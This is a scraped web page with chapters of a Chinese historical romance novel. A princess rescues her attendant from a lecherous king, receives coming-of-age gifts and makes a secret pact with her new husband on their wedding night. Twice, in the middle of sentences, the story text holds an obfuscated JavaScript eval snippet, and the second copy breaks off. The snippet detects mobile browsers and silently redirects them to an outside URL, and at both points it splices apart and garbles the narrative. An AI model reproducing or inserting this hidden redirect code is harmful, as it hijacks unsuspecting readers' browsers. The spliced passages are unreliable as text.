“我是来寻人的,寻到自然会走。”朝颜不慌不忙解释着。 衡煜甩了下袖子,站起身朝她走来,冷哼一声,“什么你的人,孤的地盘,何来你的人?” 看来他是想装无辜了。 朝颜可不吃这套,她微微一笑,直截了当启唇道:“国君您知道的,陈诗既是我的陪嫁媵妾,理应随我一起入二殿下府上才是!” “你简直放肆!”衡煜恼羞成怒,抬臂指着她。 “怎么?作为一个国君,难不成孤宠幸个女人还要求你恩准?” 朝颜也不甘拜下风,语气强硬:“可她是我华纪的人!” “我要的带我的人一起嫁到我日后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405663|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫家,有何不可?” “更何况也没有任何一个法文明确规定,公主的陪嫁媵妾可以由联姻国国君做主的。” 衡煜怒吼:“只是一个女人而已,你确定要同孤撕破脸?” 朝颜瞪着圆眸,“国君既出此言,那便把您口中的‘女人’还给我。” “若孤偏不还,你又当如何?” 朝颜垂下眸,冷冷笑了下,嘴角有几分讥讽:“我不如何,只想问国君是想做个被神称赞的君主还是想做被神谩骂轻视的俗人。” 据她所知,衡煜很信巫蛊之术,虽不甚在意自己在百姓心中的形象,但却十分尊崇仙神之说,若不然他也不会在未当君主前的那一战求神卜卦。 她也是在赌,赌衡煜心底对仙神还是有几分敬畏的。 但她又不敢保证她能赌对。 话毕,气氛忽然安静。 好在最后结果是好的,男人听完她的话,脸色一变,沉思片刻松了口:“罢了,左不过是一个女人,孤多的是,差她一个也无甚。” “来人,将公主与那媵妾送回驿站。” 王命吩咐出口,殿内侍人才不紧不慢地将陈诗从暗处带了出来。 朝颜看到女人的身影便一个箭步冲了上去,环视一圈见她身上没有任何伤势,转身朝衡煜作揖一拜后,才伸长手臂,将女人完完全全揽在怀里,一同出了殿门。 看着美人离去的身影,衡煜气急攻心,差点晕倒。 华纪美人如此婀娜多姿,他本想自己尝尝鲜,不想如今却便宜了衡无倡那小子。 不过他还是不死心,眸子死死盯着二人的背影,心道日后定要向衡无倡讨人。 朝颜没让人送,反而自己骑马带着陈诗离开。 马背上,陈诗已经被吓得两魂都出了窍,马奔跑在路上,风在耳边呼啸,她才回过神,紧紧抱着朝颜的腰,贴在她耳侧开口:“多谢殿下救我。” “早知那日便不带你一齐面见那登徒子了。”朝颜听出女人言语间的颤抖,心疼地说。 她哪里能想到,只是宫宴那一面,衡煜便打起她们的主意了,这人三番两次欺负人,果真是应了衡宜珖的那句谩骂。 话毕,朝颜叹了口气,一只手安慰似得拍了拍她的手背,问她:“你想离开这里么?” 等了一会儿,身后人没说话,朝颜用余光瞥向她,才能感觉到她在后面摇了摇头。 朝颜顿时明白了她的意思。 因为她也实在不知如何安顿陈诗,原本想着抵达普桑便放陈诗离开,可经此一遭她也不敢随意做决定。毕竟外面的世道也并非什么安然之地,陈诗又生得一副姣好容颜,难免会被贼人惦记上。 与其让她独自出去面对那些未知困境,倒不如将她留在身边看得见的地方,若有事还能帮衬一二。 她思虑了很久,才试探性问她:“陈诗,你可愿陪我一起嫁入二殿下府上?” “全凭殿下决断。” 陈诗声音很小,“臣女本就是殿下从母国带来的媵妾,和殿下一齐入府也是我应尽的本分。” “没有什么应尽不应尽,只有你愿不愿。” 朝颜双手扯着缰绳,将马勒停,回眸看她,言语十分认真:“从前我亦说过此话。” “我只问,你愿不愿?” “臣女已孤身一人,若不是殿下将我救出,我早就没命了。”陈诗对上朝颜的眸子,眼底夹着几滴泪,半落不落,朝颜看得心生怜悯,便听她又道:“我想告诉殿下的是,我愿。” “我愿意陪在殿下身边。” “过几日华纪使臣都会离开,届时殿下也只剩孤身一人了,我想陪着殿下,就算是做个婢女侍奉在您左右也好。” 陈诗说这些话也是确确实实想为朝颜做些什么,毕竟公主救自己一命,无论如何她也没理由放任公主一人在异国他乡受折磨,她一定要为公主做些什么,才不枉她救自己这个决定。 盯着女人诚恳的黑瞳,朝颜忽然心生一计,随后点头笑着跟她说:“好,我会尽量让你做个名义上的媵妾。” 眼下前世的惨案都未发生,衡无倡应当还没变成那个冷心冷情的暴君,一切都是可商榷的。 她会尽力保全陈诗,不让她成为权势下被人肆意践踏的傀儡。 78. 旧忆重现(二) 自入普桑便经历了诸多闹剧,期间虽有波折,却也没妨碍两国联姻之事成功缔结。 那日决定与衡无倡成婚后,不过两日,他便受封王命,从默默无名的公子变成了有封号和府邸的侯爵,虽不掌实权,但在旁人眼里确实一步登天,身份更尊贵了,连带着从前对他的纨绔名声都少了很多。 朝颜其实有些好奇,衡煜这样做的真实目的究竟是什么。 他是心血来潮想给衡无倡一个向上攀爬的机会?还是看在她大国公主的面子上,故弄玄机假意提拔衡无倡的身份? 这一切她暂时不得而知。 眼看不日便要搬入衡无倡的府邸,她便有点惴惴不安。 虽说眼下衡无倡是个无名小卒,但一想到他既定的命运和那与生俱来的本性,她便开始不由自主地心生惧意,如若他日后还是走上老路,她该怎么办。 难不成还要与前世一般跟在他身后,最后被他弃如敝履? 又或是与他为敌,阻止他称王? 其实最简单的便是早些逃离,明哲保身,可她深知,自己的身份无法弃之不顾,只能走一步看一步。 * 华纪使臣已经入普桑两月之久,是时候该启程回去了。 天光大亮,他们便开始忙前忙后为归国做准备,相比之下,朝颜的清闲倒显得像是个外人了。 她吩咐槐夏去做些茶点,独自坐在驿站的二楼,趴在窗口向下探去。 宽阔的石板街上人挤着人,热腾腾的菜肴和肉包的香气漫天飘着,其间夹杂着淡淡的甜腻,似是花糕的味道。 路边商贩各司其职,对着来往的人群吆喝着买卖,如此热闹非凡的场景,让朝颜想起自己年幼时在华纪的日子。 那时兄长经常偷偷带她溜出宫去,品尝宫外她不曾吃过的美食。 虽每每都会被宫人发现,然后两个人被罚禁闭,但他们还是不长记性,依旧会在解封禁闭后再次出宫体验外面广阔自由的生活。 曾几何时她便在想,如果世间不曾有战乱,不曾有牺牲,人们定会幸福很多,兄长也不用日夜不眠在关外替国而战,最后死在冰冷的沙场上。 她也不会失去他。 想着想着,手背上便感受到一滴温热的湿润。 朝颜垂眸才发现,那是自己的一滴泪。 一滴名为相思的泪。 …… 朝颜在那方出神,便也没注意到娄卿旻在她背后盯了许久。 许是见她沉浸在情绪中,不忍打扰,所以她想了多久,他也就在外面站了多久。 直至朝颜察觉出身后炙热的视线,她心下一惊,收起情绪缓缓转身,对上男人那道带着关怀的目光。 男人一袭青色宽袍,定定站在门口,十分规矩,想来是等了许久。 朝颜愣了下,迅速将人请进来,让他坐在一侧,还顺手帮他倒了杯茶水。 娄卿旻接过茶水放于桌案后,微微笑着开口禀明来意:“若臣未记错,今日便是殿下及笄的日子吧?” 及笄? 朝颜的心停了半刻,端着茶壶的手也随之轻晃,桌案上被溅了几滴水渍。 她慌忙拿绢帕去擦,却无意碰到男人同样擦水的手。 时间停滞,温热的体温透过指节传递过来,暗昧悄然生发,她好似被什么东西蛰到一般,迅速收回手。 随后抬眼看向娄卿旻,有点慌乱,扯唇道:“我都快忘了这一茬,难得,难得大人还记得。” 事发突然,娄卿旻的耳朵也已红得彻底,如坐针毡。 虽说二人已经历过诸多事,但到底还是清白男女,眼下朝颜已有未婚夫,方才那举动实在有失体统。 他轻咳了下以示窘迫,而后从宽大的袖口中取出一个木匣递给朝颜,“这是臣赠予殿下的及笄之礼。” 木匣的盖子上刻着几条花纹,匣子通体光滑,散发着幽幽淡香。 朝颜接过,一边打开木匣一边问:“这是何物?” 盖子被打开的那一刻,内里的东西映入眼帘,是一块写着“令”字的巴掌大的金块,有点眼熟。 朝颜将金块缓缓取出,看清上面的字后双眸震惊不已,登时睁大了几分。 金御令! 居然是可以调配精兵的金御令! 不过为何他也有一块? 看出朝颜目光中的疑惑,娄卿旻拂袖,轻声解释道:“殿下有所不知,金御令本有两块,一块在臣这儿,一块在太子殿下那里,先前殿下拿出令牌的时候,臣之所以装作不知,也是怕……” “怕我做出什么不利于华纪的事?”朝颜接话。 “大人既如此不信我,今日为何又将它给了我?” 朝颜语气中的不悦丝毫不加掩饰,娄卿旻垂下眼睫思虑一番后,不紧不慢接了话:“物归原主罢了。” 朝颜疑惑:“什么意思?” 娄卿旻听出她话中言外之意,“君使臣以礼,臣事君以忠。” “眼下太子殿下已不在人世,国君又远在千里之外,举目之处,殿下便是臣要效忠的君。” 更何况朝颜为了华纪百姓牺牲了自己幸福,独自在别国受思乡之苦,与国君朝穆相比,她才是他要选择的君主。 “你把两块都给了我,就不怕我背叛华纪?”朝颜调笑着他。 男人却摇了摇头,自顾自地吹了口茶水,缓缓道出几个字:“您不会的。” 朝颜道:“是人总会有一己之私,你怎知我就不会为了权势地位向普桑投诚?” “殿下不会,我信殿下。” 清冷的话语像是一颗碎石,掷入朝颜原本安稳的心湖中,使得内里泛起层层涟漪,一圈圈的,惹得群鱼戏水,心情愈发畅快。 有什么美妙的场景又一次上演。 正如同他们初见时,他也同样说过类似的话来试探她一般,最后他们的回答却十分一致,只有寥寥几个字:“我信你”。 是历经千难万险,闹过是是非非,才终于真真切切得到的答案:我信你。 二人彼此相视,眼底没有半分对对方的不敬,反而只有满意与赞赏。 朝颜这一刻才懂得,兄长从前与她所说的知己,也不过就是他二人眼下这相互信赖的模样。 “殿下先前只知金御令能调配精兵,却不知只有两块合为一块才能调动他们。” 所以这男人从前分明就是看她笑话。 “也难怪从前拿此物与大人做交易,大人那么不屑一顾,想来是把我当傻子耍得团团转了。”朝颜自嘲着。 娄卿旻一慌,即刻起身,摆出一副忠臣的模样,弯腰作揖否认:“臣没有。” 朝颜别过头,用余光悄悄看他,最后叹了口气,“算了,大人说有我又能如何,不能真正处罚大人,只不过是过过嘴瘾罢。” 知道朝颜是有意戏耍自己,娄卿旻也是无奈笑笑,才继续道:“臣留着此物有些暴殄天物了,殿下为国远嫁何尝不也是另一种形式地替民上战场,待臣离开,殿下从此便是独自奋战。” “此物可在关键时候保殿下平安,殿下务必收好,也莫要让旁人发现它的存在。” “此次殿下大婚,太子未曾出面,已经惹得众人暗自猜忌了,臣须得回去解决此事。” “明日臣便启程离开普桑,公主定要珍重。” 说完这些话,他抬手扯下自己衣角旁别着的那枚青色玉佩,双手递到朝颜面前,语气诚恳:“若遇到解决不了的麻烦,殿下可带着此物来驿站,这儿有臣的亲信,会助您一臂之力。” 看着娄卿旻如此细心为她谋划,朝颜有点泪目。 她接过玉佩,直勾勾盯着他,追问道:“大人为我考虑得如此周全,连保命的物什都给了我,不知是否也为你自己做了打算?” “殿下此言是?” 朝颜兴致勃勃地替他幻想着:“待你立了战功回华纪时定要向王上讨些赏赐,最好能加官进爵,更上一层。” 娄卿旻却摇了摇头,“臣本无意争权夺势,待平息了战乱,臣会主动请辞离开。” “或许会重回幼时住过的旧地,然后孤独过完后半生吧。” 朝颜对他口中的平淡日子也起了艳羡的心思,“其实大人说得对。若无战乱,做个平凡的普通人安稳余生也没什么不好。” 只是眼下他们生活在乱世,又诸多身不由己。就算想做个普通人,也会被卷入战乱中。 一席话毕,寂静的室内仿佛能听到二人淡薄的呼吸声,外面传来一阵稚童嬉戏打闹的声音,不知是恰巧,还是缘分所致,他们嘴里喊着一句话: “良辰吉日时时有,锦瑟年华岁岁拥。” 如此应景的生辰祝福词出自孩童口中,朝颜有些惊讶,尤其好奇,她直接站起身从窗口处向下探去,发自内心地笑了起来。 娄卿旻站在她身后不远处,静静看着她。 朝颜转过头,笑颜如花看着他,“既然如此巧合听到了祝词,那我便借花献佛,在此祝大人如愿以偿,诸事顺遂。” “大人也一样要时刻谨记——” “平安最重要。” 一席话毕,二人彼此相视,微微一笑,气氛悠悠然。 殊不知这一笑,落入旁人眼中便成了刺痛人心的铆钉。 朝颜在屋内站了半刻,正要送娄卿旻离开,哪知前脚刚迈出门槛,便见一个不速之客站在门侧面的拐角处。 男人就这样在她眼前,一步步走上台阶,每一步都像是黏着利刃,离她愈发愈近,直至站在她面前。 朝颜躲避猛兽似得,下意识后退,抬眸看他,“二殿下怎会突然来此?” 衡无倡见她如此抗拒自己,便没继续前进,站在离她一米开外处,话里话外带着嘲意:“在下四处寻公主寻不到,未曾想公主和娄大人竟有如此雅兴,在楼上赏景谈心。” “娄大人不日便要离开,闲聊几句罢了。”朝颜解释完,目光落在衡无倡那双带着质问的凤眸上,疑惑道:“不知二殿下来此是有何事?” 话音落下,衡无倡将备好的礼物取出,递到朝颜面前。 男人手掌一抬,朝颜的目光便被他用布帛包扎好的那只手吸引了去,可她不知道男人打得什么心思,便在其上一扫而过,假装没看到,眼睛直奔打开的礼盒而去。 一枚三弦钮的圆形铜镜,镜背后刻着栩栩如生的蟠螭纹,与菱纹勾连交错,相互缠绕,规整又好看。 朝颜从花纹上一眼认出礼物:“蟠螭菱纹铜镜。” 她曾在兄长口中听说过,这镜背的蟠螭纹可驱除邪祟,佑人平安。 这种纹路的铜镜在市面很罕见,毕竟这类龙形花纹,须得是身份尊贵之人才能持有。 不知衡无倡是从何处寻来的。 她正想着,男人便开口道:“公主既是我的未婚妻,除去聘礼之外,理当赠殿下一个特别的礼物以示在下诚意,此物是我前些日子出门游历时在一个商人那里发现的,我见其精美好看,便花重金买了下来。” “多谢二殿下。” 毕竟是要迎娶公主,他不想怠慢她。 故而特意带了礼物赠予朝颜,却在驿站门口被告知公主有事,要等片刻。 哪知他在楼下喝茶的功夫,便看到自己未婚妻和一个外男在楼上并肩而立,一齐赏景那情意绵绵的画面。 那瞬间怒气奔涌而上,手中茶杯登时被他捏个粉碎,碎渣刺破手掌,鲜红的血顺着手指落于地面。 本想上楼质问,还是卫介提醒他有失身份,他这才恢复理智。 寻了纱布包扎好伤口后,不顾阻拦上了楼,恰好撞到二人出门。 心里还是有气,他却没有身份发泄。 这方的朝颜欣赏完礼物,合上木匣盖子,转头对衡无倡道:“礼物我已收到。” “若无旁的事,殿下请回吧。” 疏离的模样过于明显,衡无倡也不好意思厚着脸皮继续待下去,转身时轻轻瞥了朝颜身侧男人一眼,下楼离开…… 回府路上,衡无倡一想到朝颜那幅冷漠又拒人千里的模样便困惑不已。 她作为一个未婚妻,甚至在看到他有伤的情况下,连一句关怀的话都没有,就算是仇人,也该有些反应吧? 他看不懂朝颜,也摸不透她的心思。 他不懂为何她对旁人都能和颜悦色,甚至对衡宿那个蠢货亦是笑脸相迎,甚至愿意与他成亲到他这儿便是一句“不必人尽皆知,一切从简。” 难道他就如此让她拿不出手?甚至不愿昭告天下她是他的妻? 凭什么? 她既决心嫁与他,难道不该与他站在一侧,化作一体么? 他不明白,为何会这样。 他定要弄清其中缘由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而衡无倡也是一袭合身的玄醺丝袍,站在不远处,随着一声“吉时已到”,二人在礼官的引导下,完成了几项大婚礼仪。 饮完合卺酒后,衡无倡轻轻抬眼,挥一挥手,礼官便自行退去,将室内留给他二人。 挡脸的羽扇已被撤下,朝颜坐在榻上,双手藏在袖中轻轻摩挲着,有几分焦躁。 若说不紧张是不可能的,可偏偏无处可逃。 衡无倡就立在她身前,一只手就能够得到的距离。 正想着,男人骨节分明的手探过了过来,朝颜感受到他这一举动,便不由自主地向后退了一下,距离拉开后,衡无倡的手还愣在半空,很显然,他还有点没反应过来。 朝颜心道大意了,躲得太快也会惹人生疑。 衡无倡居高临下,将她有意隐瞒的心绪看了个一清二楚。 他垂下眼皮看着她,眼底带着难以置信,一字一顿:“你,怕、我?” “为何怕我?” “我们从前认识么?”衡无倡口中忽然吐出这样一句话,说完之后,他整个人也愣住了。 他们分明是初次见面,先前怎会认识? 身体不自主想逃,差点被对方发现破绽,想到此处朝颜瞳孔微缩,抬头对上他的眼,答道:“自是不认识。” “我之所以躲,是因为我想说,我虽是答应嫁与你,但并不代表我愿意与你有夫妻之实。”朝颜随意寻了个理由解释着。 话音落下,二人都沉默了半晌。 随着外面一道碎瓷的声音落下,衡无倡眼底透出半分戾气,蓦地弯下腰,双手撑在她身两侧,将人逼得近乎要躺在榻上,贴在她耳侧,细声细语道:“公主是说,想与我做假夫妻?” “可惜外面这么多双眼睛盯着,身为臣子,怎敢抗旨不遵。” 说完男人如巨石般的身子便继续下压,朝颜无路可退,只能被迫躺在软被上,状况危急,她实在招架不住,一只手用力推着他的胸膛,另一只手则是堵住男人快要落下的唇。 温热的气息铺洒在她脸上,眼前的凤眸与梦中带血的眸子重合在一处,她焦急地皱眉,口吐快言:“我有笔交易要和殿下做。” 衡无倡眸子朝窗棂处飘忽了下,随即抬手将帷帘扯下,遮住二人的身影。 灰暗境地下,他不再掩饰自己的所作所为,勾唇邪魅一笑:“公主为什么会觉得我会放弃一个绝色美人去和你谈什么所谓的交易?” 朝颜无声息地用唇语试探他道:“若我说,我能助你登上王位呢?” 话毕,衡无倡如同被戳中心事般,眼神闪躲,登时恢复成肃正的模样,神情淡淡的,“在下乃忠臣孝子,此生只敬父王为君主。” “公主小心隔墙有耳。” 朝颜像是听到了笑话般,勾了勾唇,戏谑地挑眉看他,“少假惺惺的,别以为我不知道你娶我的目的是回了回归族谱。” 事到如今她也懒得装了,想着眼下对方不过一个未有实权的毛头小子,与从前大权在握的君王差得不是一丁半点,她怕他做甚,索性破罐破摔,说不定还能为自己夺得一丝主动权。 此刻,该换她胁迫他了。 她趁男人失神的功夫,用力将男人推开,随即翻身将他压在榻上,将他明晃晃的心思道破:“若我没猜错,疯马之事是你的手笔吧?给衡宿的马下药让其出席宴会时迟到,也是你的手笔,你先前种种所为,不就是为了让衡宿在我这儿落个不好的印象,让我对其厌恶么?” “可你千算万算没想到,我还是决意嫁给他。一计不成,你就设下第二计。让我猜猜,太子在我们大婚之日出丑的事多半也与你脱不了干系,毕竟你是渔翁得利的那个。” 她激愤地说着,乌发顺着她的肩颈落在耳侧,她不在意地撩了下,继续道:“好在最后联姻之事如你所愿,你成功用我的身份去和你父王协商重回了族谱。我猜你做这些也是为了日后登位时名正言顺,我说的对么?” 其实按照他从前的性子来讲,纨绔子弟娶个绝色公主回府,除了贪图美色之外,其余的目的并不明显,但有心人却能一眼看破,还摸透了无人知晓的王宫秘辛,甚至把他做得天衣无缝的事全看了个干净。 半点不是传言里那深居宫闱、娇生惯养的公主模样。 衡无倡不禁对眼前女人又多了丝兴趣。 纵使被压在底下,他身上压迫的气息仍然略胜一筹。 他玩味儿地抬起食指,撩起她耳侧那缕发丝在指尖绕了一圈,凤眸半眯着看她,言语微冷:“你调查我?” 79. 旧忆重现(三) “你调查我?” 等等……他这是承认了? 男人冷漠的声音仍在耳边盘旋,朝颜盯他的那双闪烁着淡淡杀气的眸子,心底惊颤,眼底划过一丝了然于胸。 羽堇前些时日奉命调查疯马事件,查了足足五日才找到蛛丝马迹。 据他说入城那日之所以会有疯马惊扰她的车架,是因为有人在马饲里提前放了药物,而那药物十分罕见,名为醉马草,对人有麻醉止痛的作用,却对马羊等牲畜有剧毒。 若不小心吃下,半个时辰之内便会中毒发疯,四处乱窜,且无解药,最终只能抽搐而死。 朝颜猛地想起那日疯马在乱窜一通后被衡无倡制服,恰好是抽搐了一炷香的功夫便咽了气,最后被太子身边那个侍卫暗青拖到野地里埋了起来。 当时本以为是意外,事后她才反应过来是有人故意为之,所以她特意吩咐羽堇去掩埋马尸的地方探查,最终在马口中查到一些醉马草的残渣,这才弄清马疯的缘由。 后来羽堇又专程去药铺蹲守了几日,终于叫他撞到一个侍人鬼鬼祟祟进了药铺,问过药铺掌柜才知晓,他买了醉马草和泻药,且与之前是同一人。 见状羽堇便在暗处跟踪他,二人绕着城池转了许久,最终发现他与衡无倡手下那名叫卫介的亲卫有交集。 答案显而易见,与朝颜先前的猜测如出一辙。 而她原本以为只有疯马之事与衡无倡有关,哪知今日才晓得,这桩桩件件竟真的都与他脱不了干关。 方才那几句话只是试探而已,不想他自己露了馅。 到底是棋差一着。 思及此,朝颜冷冷笑了,将发丝从他指缝中迅速抽离后,一把将那只手推开,随后翻身坐回榻上,双手抱胸,面无表情地看向他,简单回答了男人的疑问:“毕竟是同一条船上的人,不知根知底如何安心绑在一起?” 软香离怀,身上一轻,衡无倡还有些不适应,又在榻上愣了片刻。 华纪美人在这乱世里早有盛名,从前他一心复仇对女人不屑一顾,方才那一遭,倒是让他有些想体验史上昏君的日常了。 可美人美矣,却宛若砒霜。 越是美好的东西往往背后越会有那些故意隐藏起来的刺,一想到眼前这个看着弱不禁风的女子,内里竟藏了这样多心思,他便有些后怕。 他一边赞叹她,一边防备着她,撑着手臂坐直身体后,对上她冷淡的圆眸。 “公主如此聪慧过人,在下自愧不如。如此说来我还要多谢我那好兄长犯傻,若不然我岂不是多了一个强劲的敌人?” 朝颜听完这话,心底对他的抗拒更甚。 这男人完全就是个笑面虎。 这一切的一切分明都是他设计的,眼下他却用一句话便将自己摘了个干净,显得他何其无辜。若非自己早已识得他两世,对他有些了解,恐怕也要被他伪装良善的模样给骗了。 确切地说,前世她已经被他骗过一次了。 此次断不能再着了他的道。 一想到周韫与太子的丑闻,朝颜便心有芥蒂。她还是想弄清缘由,她不信周韫会背叛衡无倡,甘心嫁给衡宿,毕竟前世他们在自己住进冷宫后便你侬我侬。 见朝颜不搭话,衡无倡又道:“好了,既然我们已经弄清了彼此的目的,那便不必再藏着掖着,眼下可以谈谈交易之事了。殿下要怎么帮我?又能帮我多少呢?” 狡猾的狐狸,不过刚刚坦诚相见,他便等不及便露出真面目了。 朝颜偏不如他愿,有意拖延:“慢着!” “在回答这个问题之前,我想先问二殿下一句,太子与周家小姐之事是否是你故意设计的?” “我希望能听到殿下的实话。” 她就想知道,眼下这个衡无倡是否如前世一般,是个为达目的不择手段,甚至不惜牺牲任何人的冷血之人。 她也想弄清楚,周韫究竟是自愿还是被迫。他二人是从何时开始牵扯上的,又是何时开始互生情愫的。 话音落下,衡无倡忽然沉默,二人相顾无言。 直到朝颜眼中企盼他答案的神色黯然无光,他仍没接话。 她自嘲扯了扯唇角,慢慢移开眼不看他。 得不到答案便是答案。 她本想着二人此次交易该会戛然而止,不再对他抱有希望的时候,他突然开口:“自然不是。” “我没有那么大的能耐。” 他没多解释,打心底不愿与她坦言。 因为他知道,自己虽不是直接做计的那个,却是间接推动者。 不知为何,在得到衡无倡这句答案后,朝颜心底暗暗松了一口气。倒也不是对衡无倡还有旧情,只是她不想看着未来能当上一国之君的他对真心待他的人如此淡漠不在乎。 毕竟,周韫心底眼里都只有他一人。 二人暂时达成同盟,约定好彼此在外假装夫妻,日后寻到合适的时机,再平等和离。 朝颜自认为自己不是什么救世英雄,也不想掺和普桑的国事,经朝穆下药掳人这两件事后,朝颜便对他这个君主寒了心。 在她这儿,能者多劳强者多干,不论衡无倡前世对自己如何,至少他在位的那几年,普桑是风调雨顺,国泰民安,没有什么祸乱的。 所以她下定决心,若今生还是无可避免前尘旧事再次发生,倒不如顺流而下,任由上天掌控每个人该走的人生。 宽大的长幔挡住整张床榻,外面看不清内里是怎样的。 只有二人彼此知晓他们的新婚之夜是如何度过的。 朝颜从衡无倡方才所言里察觉出屋外有人监听后便没继续多言,她能猜到外面是衡煜的人,八成也是想试探他二人是否真的如众人所愿做了两国盟约下的傀儡。 他们便又在榻上待了许久,期间朝颜看着衡无倡故意弄出声音制造假象迷惑众人,自己则假装不懂,闭着眼眸红着耳朵坐在一旁神游天外…… 卯时天光微亮,外面听墙角的人总算没了动静。 二人一夜无眠,各自坐在榻上两个角落,就这样守了整夜。 朝颜从刚入夜时便开始打瞌睡,可她念着身侧有个男人,便也没敢睡,就这样时而清醒时而迷困,坚持了足足两个时辰。 衡无倡则与她不同。 他自小入睡困难,再加上年幼时有一段日子经常被衡宜珖和衡宿二人反复折磨,便造就了一副警惕的性子,纵使一夜不睡也精气十足。 大婚之夜,没有春宵,只有面面相觑,他深觉无趣,视线便一直在朝颜身上。 见其从清醒到迷蒙,那双圆眼从炯炯有神到迷离混沌,便觉得好笑又可怜。 此刻正一手拖着下巴一手撑在榻上,晃着脑袋昏昏欲睡,这场面说出去怕是要被嘲笑他苛待新婚妻子。 看着外面的天空泛起鱼肚白,他微不可察地叹了口气,合衣推门离开,将寝室留给她,自己去了书房。 他进门刚坐下,卫介便进来禀报:“殿下,昨夜在屋外探听的不止有衡煜手底下的人。” 衡无倡皱了下眉,视线转向他,猜到些什么,道:“衡宿还不死心?” 可一想到昨日美人羽扇下那唇红齿白,娇艳欲滴的模样,宛若盛开的桃花,自带芬芳,衡无倡便释然地笑了,“毕竟是千辛万苦寻来的,怎会轻而易举地放弃。” “不必理会他。” 他明白,只要朝颜不倒戈,站在自己这边,任衡宿闹个天翻地覆也改变不了事实。 只是眼下他还不清楚朝颜所说的交易里,是心甘情愿多几分还是被逼无奈多几分。 他指尖落在一侧卷着的画卷上,凤眸盯着上面,轻轻按了几下,画卷便不受控地皱成一团,只有手指离开才能慢慢恢复原状。 此情此景令他眼底漫延出一抹笑意。 无妨,时日且长着呢,他不着急,可以慢慢来。 * 七月流火,九月授衣。 过了炎暑便入了秋,光阴似箭,时间飞逝而去,天气转凉,即将送走九月迎来十月,寒衣节近在眼前,众人早就开始为祖先和逝去的亲人准备寒衣节当天要焚送的寒衣。 距离大婚之日已经过去一个多月,这期间朝颜与衡无倡的相处也算是另一种相敬如宾。 他们除去最开始在同一间房内演了几日戏给旁人看外,其余时候都是各过各的,互不侵扰。 虽是远在千里之外,朝颜也是惦念着兄长的,随着普桑国寒衣节到来,她也替兄长准备好了祭祀所用物品,只是还缺一样东西,这东西须得找衡无倡才能拿到。 这还是有史以来她第一次求人办事。 在去寻男人的路上,朝颜还有些焦灼,手在衣袖里摩挲着。 她抵达书房时,听见里面传来对话的声音,她不想叨扰,便站在外面等着他们说完话再进去,哪知一阵风袭来,窗户自己悄然开了条缝。 屋内场景便明晃晃映在她眼中。 她并非故意要偷看,只是好奇心作祟,又恰好在眼前,她实在无法忽视,便抬眼朝屋内瞟了下,内里有两个人,一男一女。 男人一袭玄墨色长袍包裹着高挑的身形,一眼看去还能看到衣襟处的木槿花镶边,腰系玉带,此刻正散漫地坐在木案边,姿态闲雅。 许是未加冠,他一半乌发束在发顶,另一半则松散垂下,将那张俊俏脸庞衬得十分流畅,惹人注目。 说实话,若忽略掉衡无倡那异于常人的乖张性子,单从面貌上看,倒真的像个飘逸儒雅的君子。 此刻他双眼的注意力都集中在面前的布帛上,丝毫没注意到他身后那个乔装打扮得严实的女人正朝他一步步靠近。 朝颜站的位置有些偏,根本看不清女人面貌,只能听见衡无倡低沉的声音:“若你哪日不愿做这个太子妃了,我可助你离开衡宿。” 一席话毕,朝颜便认出包裹严实的女人是太子妃周韫。 而男人说完那句话,女人已经站在他身后,抬起一只手轻轻搭在男人所坐的木椅上,微微弯下腰,俯在他耳侧,言语间透着小女儿家故意撒娇的柔软:“臣女爱慕殿下,愿为殿下做任何事。” “只要殿下别推开我,我愿一直为殿下所用,绝不背叛。” 周韫看着眼前俊美的男人,眸中尽是欣赏与爱慕。 太子这些时日一直被国君关禁闭,二人自是没有什么感情,她仍是清白之身,而那日太子与她在一处也是她自己做的局,目的也是为了保护衡无倡。 要知道衡无倡最先的计划是抢亲,她觉得实在太过冒险,这才自作主张给男人送了信件,让他静观其变。 本以为衡无倡还会按他自己的计划行事,可他却真的听了自己的话,安分等到太子和公主送入洞房时都没过多生事。 她便知道,自己选对了人。 所以才借机给太子做局,搅黄了他们的婚事。 可怜太子到最后都以为是衡无倡有意为之,实际他根本不知道是被她耍得团团转。 衡宿那人,不是什么好东西。 他从年幼时便以一副高高在上的姿态对他们这些人,整日除了嘲笑便是谩骂,如今她也要让他尝尝,和他口中“卑贱之人”结为夫妻,绑成一体的不如愿。 不过好在她的父亲因为是开国功臣,在国君那还有几分薄面,若不然,她也不敢用自己的清白去赌国君赐婚。 周韫只顾着表明自己的心意,却没注意到男人的眼神已经变了。 他表情严肃,微微侧眸看向她,言语中带着一丝警醒:“太子妃,谨言慎行。” 周韫这才意识到自己与男人的身份已不如往常,如今做这些着实逾矩了,这才后退一步拉开二人距离。 人在做一些偷摸之事的时候,警戒心比往常都要重。 只是眨眼间,衡无倡便察觉窗外有道难以忽略的视线盯着自己,他眸子一眯,迅速拿起桌案上的狼毫,朝窗缝甩出。 只听咻的一声,被甩出的狼毫便带着一股重力将窗户开了个大口,他转头看向窗外,与朝颜因受惊而瞪大的眸子对上。 男人眼神带着浓浓的煞气,朝颜冷不丁打了个颤栗,转身就跑。 衡无倡淡淡扫了周韫一眼后,自顾自地推开屋门大步追了出来,而朝颜已经跑到后院。 眼看就寝室的门就在眼前,她刚要推开,猛地被人从身后一把扯住了手臂,还未来得及挣脱,便撞入一道坚硬的胸膛。 男人倒是做到了一个夫君该尽的义务,主动为自己辩解了句:“太子妃与我清清白白,今日只是来给我母亲送寒衣的,希望你别误会。” 朝颜听后,有几分愣神。 他居然会解释? 可她根本不在乎他们是否清白,毕竟他们在自己这儿早就不是清白的了。 只是她凭借周韫那几句话,忽然得到了先前自己想要的答案,可她还对眼前男人抱有希望,希望他说句实话。 她后退一步,用力将自己的腕子从男人手中挣脱,眉眼带着淡淡的冷,“其实我不关心你们是否清白,我也不是故意偷听。” 